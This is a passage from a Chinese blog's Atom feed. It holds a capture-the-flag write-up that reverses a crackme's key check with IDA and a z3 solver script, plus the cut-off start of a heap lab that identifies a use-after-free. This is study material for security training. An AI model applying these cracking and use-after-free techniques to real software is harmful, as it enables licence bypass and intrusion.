	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p style=&quot;text-align:center;text-indent:0&quot;&gt;
&lt;p&gt;卷发就是生命的双螺旋！&lt;&#x2F;p&gt;
&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;dna
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;dna&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>repwn</title>
    <published>2019-03-31T14:48:47+08:00</published>
    <updated>2019-03-31T14:48:47+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/repwn/" type="text/html" />
    <id>https://emptystack.top/repwn/</id>
    <content type="html">
      &lt;p&gt;IDA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;shift+F12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;找到“Please
Input Your Key_
Now!&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，然后找到程序入口“sub_4014C0&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;（&lt;code&gt;; DATA XREF: sub_4014C0:loc_401588↑o&lt;&#x2F;code&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;然后输入了一个字符串给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;v11，&lt;code&gt;sub_4012F0((int)&amp;amp;v11)&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;需要返回&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1。&lt;&#x2F;p&gt;
&lt;p&gt;sub_4012F0：v2&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;要在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;*((_BYTE *)&amp;amp;v4 + v2) == *(_BYTE *)(v1 + a1)&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的情况下从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0，++&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;12，此时若&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;*(_BYTE *)(a1 + 20) == 72&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;则返回&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1。&lt;&#x2F;p&gt;
&lt;p&gt;v4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;这样明显超了一字节又强制转成一字节的可以在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;IDA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里对着数值右键，转成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;16&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;进制取最后两位写进&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;z3。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; z3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;d2c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; BitVec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;d2c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;d20&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; BitVec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;d20&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;d24&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; BitVec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;d24&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;d28&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; BitVec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;d28&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;d34&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; BitVec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;d34&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;d30&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; BitVec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;d30&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;d3c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; BitVec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;d3c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;d38&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; BitVec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;d38&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;v1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; d2c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1000&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;d20&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;d24&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;d28&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;v2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; d34&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;d30&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; d3c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;d38&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;solver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; Solver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;solver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;add&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;v1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; v2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 4040&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;solver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;add&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;v2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 115&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;solver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;add&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;v1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 110&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;v3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1900&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;while&lt;&#x2F;span&gt;&lt;span&gt; sat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; solver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;check&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;solver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;())&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;-------------&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    solver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;add&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;Or&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;solver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()[&lt;&#x2F;span&gt;&lt;span&gt;d2c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span&gt; d2c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; solver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()[&lt;&#x2F;span&gt;&lt;span&gt;d20&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span&gt; d20&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; solver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()[&lt;&#x2F;span&gt;&lt;span&gt;d24&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span&gt; d24&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; solver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()[&lt;&#x2F;span&gt;&lt;span&gt;d28&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span&gt; d28&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; solver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()[&lt;&#x2F;span&gt;&lt;span&gt;d34&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span&gt; d34&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; solver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()[&lt;&#x2F;span&gt;&lt;span&gt;d30&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span&gt; d30&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; solver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()[&lt;&#x2F;span&gt;&lt;span&gt;d3c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span&gt; d3c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; solver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;model&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()[&lt;&#x2F;span&gt;&lt;span&gt;d38&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span&gt; d38&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;repwn
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;repwn&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>lab10</title>
    <published>2019-03-21T16:16:10+23:41</published>
    <updated>2019-03-21T16:16:10+23:41</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/lab10/" type="text/html" />
    <id>https://emptystack.top/lab10/</id>
    <content type="html">
      &lt;p&gt;No
PIE，说明可以直接用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;IDA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中看到的地址，比如最后要执行的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;magic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数（&#x2F;&#x2F;
starts at 8048986&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;可以看到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;add_note&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;使用了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;malloc，del_note&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只用了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;free&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;但没有给指针赋值&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;NULL，所以可以在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;free&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后使用。&lt;&#x2F;p&gt;
&lt;p&gt;结构体&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;note&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有两个指针，一个指向打印&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;note&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的函数（正常流程是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;print_note_content&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，一个指向&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;note&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;记录的
